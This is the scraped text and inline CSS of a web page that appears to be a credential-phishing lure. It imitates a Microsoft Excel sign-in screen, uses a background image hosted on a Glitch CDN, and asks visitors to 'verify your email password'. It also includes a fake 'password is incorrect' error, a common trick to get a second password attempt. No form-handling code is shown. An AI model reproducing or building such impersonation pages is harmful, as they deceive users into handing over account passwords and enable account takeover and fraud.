Sign in to your account

/* Global styles */ body { font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 0; background-image: url('https://cdn.glitch.global/393b8c0d-bc9f-4870-b861-c1a3def6549c/bg.png?v=1725219108546'); background-size: cover; background-position: center; background-attachment: fixed; height: 100vh; display: flex; justify-content: center; align-items: center; } /* Dark overlay */ body::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); z-index: 0; } /* Header styling */ .header { width: 100%; background-color: #217346; padding: 10px 15px; position: fixed; top: 0; left: 0; z-index: 1000; display: flex; align-items: center; } .header img { width: 40px; margin-right: 10px; } .header-text { font-size: 14px; color: white; font-weight: 500; } /* Main container */ .container { position: relative; z-index: 1; display: flex; flex-direction: column; align-items: flex-start; width: 90%; max-width: 360px; background-color: #ffffff; padding: 30px 20px; border-radius: 0px; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3); overflow: hidden; } /* Sliding text animation */ .slide-in { opacity: 0; transform: translateX(100%); animation: slideIn 0.8s ease-out forwards; } @keyframes slideIn { to { opacity: 1; transform: translateX(0); } } .login-header { display: flex; align-items: center; width: 100%; margin-bottom: 20px; } .login-header img { width: 100px; margin-right: 10px; } .login-header h1 { font-size: 20px; font-weight: normal; color: #333; margin: 0; } .back-icon-wrapper { display: flex; align-items: center; width: 100%; margin-bottom: 15px; } .back-icon { width: 13px; height: 13px; cursor: pointer; } .email-display { font-size: 16px; color: #666; margin-left: 10px; text-align: left; } .enter-password { font-size: 22px; color: #333; text-align: left; width: 100%; margin-bottom: 10px; } .info-text { font-size: 14px; color: #666; text-align: left; margin-top: 5px; width: 100%; } .error-text { font-size: 14px; color: red; text-align: left; margin-top: 10px; display: none; transition: opacity 0.5s ease; } input[type="password"] { width: 100%; padding: 10px; margin: 10px 0; border: none; border-bottom: 1px solid #434040; font-size: 18px; transition: border-bottom 0.3s ease; } input[type="password"]:focus { border-bottom: 1px solid #0c5ad6; outline: none; } .note-text { font-size: 13px; color: #0c5ad6; margin-top: 5px; width: 100%; text-align: left; } .btn-group { display: flex; justify-content: flex-end; width: 100%; margin-top: 30px; } .btn-signin { padding: 10px 30px; font-size: 14px; cursor: pointer; background-color: #217346; color: white; border: none; border-radius: 0px; } .btn-signin:hover { background-color: #359e64; }

Enter Password

Because you're accessing sensitive info, you need to verify your email password.

Your account or password is incorrect. If you don't remember your password, reset it now.

Microsoft Excel